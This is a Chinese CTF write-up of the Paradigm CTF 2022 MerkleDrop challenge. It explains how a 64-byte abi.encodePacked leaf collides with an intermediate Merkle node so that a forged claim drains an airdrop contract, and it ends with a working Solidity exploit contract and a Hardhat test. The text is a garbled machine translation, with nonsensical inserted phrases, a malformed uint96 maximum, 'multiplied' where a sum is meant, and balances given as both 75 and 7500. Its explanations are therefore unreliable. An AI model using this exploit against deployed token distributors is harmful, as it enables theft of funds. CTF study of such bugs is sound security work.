Paradigm CTF 2022 MerkleDrop
author:Thomas_Xu
Paradigm CTF 2022 官方网站
ParadigmCTF 2022源代码
环境配置:
由于主题环境需要使用docker空投网站模板,所以环境配置比较冗长。我重新搭建了一个hardhat框架的测试环境,由于问题出在以太坊的苯环上,所以使用Alchemyfork测试了一个主网
话题分析
首先我们看一下这个话题的描述,你被列入白名单了吗? 您在白名单中吗? 显然,这是一个关于Powei白名单的问题。 标题为我们提供了64个叶子节点的验证信息,包括每个用户地址对应的索引、金额和证明验证哈希。 用户可以凭此文件中的相关Proof,领取合约中对应数量的Token。 看来我们需要通过某种漏洞来获取白名单权限,我们进入Setup看看判断条件:
function isSolved() public view returns (bool) {
bool condition1 = token.balanceOf(address(merkleDistributor)) == 0;
bool condition2 = false;
for (uint256 i = 0; i < 64; ++i) {
if (!merkleDistributor.isClaimed(i)) {
condition2 = true;
break;
}
}
return condition1 && condition2;
}
有两个判决:
经过计算,json文件中的64个地址可接收的金额相乘,正好等于merkleDistributor中的75个ETH余额。 想要同时完成这两个判断似乎是不可能的。
如果是按照标准实现的Merkle Tree,我们几乎不可能攻击它。 那么我们来比较一下这里的代码和 Merkle Tree 标准实现的区别。
这个uint96是最可疑的地方
我们回顾一下MerkleTree的验证过程
Merkle Tree的基本原理是利用叶子节点的值逐层估计哈希值,最终得到Root值。 要验证某个叶子节点是否在 Merkle Tree 中,只需提供对应的 Proofs 路径进行估计,并观察最终的 Root 值是否一致。
而这道题最巧妙的一点就是:因为amout字段使用的是uint96,所以有一个巧合。
function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external {
...
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');
...
}
}
权利要求中的节点节点哈希估计方法是先abi.encodePacked(index, account, amount)然后hash。而这里的三个数组是
这三个数组相加正好是64字节。 正好是两个keccak256哈希结果拼接在一起的大小。 可以看到,其中一个哈希值作为索引,另一个哈希值作为账户+金额。
那么我们就可以利用这个巧合来构造一个假输入,并且这个输入可以完美地通过哈希验证。
开发
现在的重点是构建这个“巧合哈希”
空投总数为7500 ETH,即0x0fe1c215E8F838E00000,UINT96最大值为0xffffffffffffffffffffffFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFOA。
0xffffffffffffffffffffffff
0x00000fe1c215e8f838e00000
两者之间至少相差5个0,但这也给我们提供了一个思路。 我们去tree.json中搜索含有5个连续0的哈希值。
不难发现,节点37
更巧合的是,如果hash从前0开始截去空投网站模板,前一部分正好是20bytes,后一部分正好是12bytes。 换句话说,这个哈希值可以被解析为账户+金额。
account: 0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A
amount: 0x00000f40f0c122ae08d2207b
让我们看看如何在 MerkleProof 中验证节点:
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
)
internal
pure
returns (bool)
{
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash < proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
其实验证过程和merkletree的标准实现是一样的。 叶子节点和验证节点自下而上,将两个哈希拼接在一起,然后取哈希,最后与根哈希比较,看是否相等。
那么因为之前的巧合,我们可以用第一个索引为37的证明节点作为突破口。
因为验证过程的第一次验证(被验证的节点和第一个证明节点hex)还需要将节点37的哈希和我们的“突破”哈希连接起来,然后取该哈希进行后续操作。
那我们就可以在第一次验证的点上做文章了
我们回过头来看看 Claim 函数是如何估计节点哈希值的:
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
前面说过,索引可以看作是前哈希,账户和金额可以看作是后哈希,所以我们可以直接构造拼接来进行第一次验证。
也就是说,我们可以完美通过“意外”参数的验证。
但此时账户为0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A,金额为0x00000f40f0c122ae08d2207b。 这些是意想不到的参数。 并且转换后的金额恰好大于75
计算一下还剩多少token未领
0x0fe1c215e8f838e00000 - 0x00000f40f0c122ae08d2207b =
0xa0d154c64a300ddf85
而这个金额与索引为8的节点的金额完全相同,所以只要经过这个叶子节点,就可以收到空投合约中的所有代币,解决这个问题。
附上利用合同
contract Exploit {
constructor(Setup setup) {
MerkleDistributor merkleDistributor = setup.merkleDistributor();
//通过拼接哈希,跳过第一个验证节点。
bytes32[] memory merkleProof1 = new bytes32[](5);
merkleProof1[0] = bytes32(0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d);
merkleProof1[1] = bytes32(0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde);
merkleProof1[2] = bytes32(0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813);
merkleProof1[3] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
merkleProof1[4] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
merkleDistributor.claim(
0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442,
address(0x00d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a),
0x00000f40f0c122ae08d2207b,
merkleProof1
);
//用index 8取完剩下的token即可
bytes32[] memory merkleProof2 = new bytes32[](6);
merkleProof2[0] = bytes32(0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00);
merkleProof2[1] = bytes32(0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3);
merkleProof2[2] = bytes32(0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2);
merkleProof2[3] = bytes32(0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a);
merkleProof2[4] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
merkleProof2[5] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
merkleDistributor.claim(8, address(0x249934e4C5b838F920883a9f3ceC255C0aB3f827), 0xa0d154c64a300ddf85, merkleProof2);
}
}
附安全帽测试箱
const { expect } = require("chai");
const { ethers } = require('hardhat');
describe("Challange merkleDrop", function() {
let attacker,deployer;
it("should return the solved", async function() {
[attacker,deployer] = await ethers.getSigners();
const SetupFactory = await ethers.getContractFactory("MerkleSetup", attacker);
const setup = await SetupFactory.deploy({
value: ethers.utils.parseEther("75")
});
//Exploit
const ExploitFactory = await ethers.getContractFactory("MerkleDropExploit",attacker);
await ExploitFactory.deploy(setup.address);
expect(await setup.isSolved()).to.equal(true);
});
});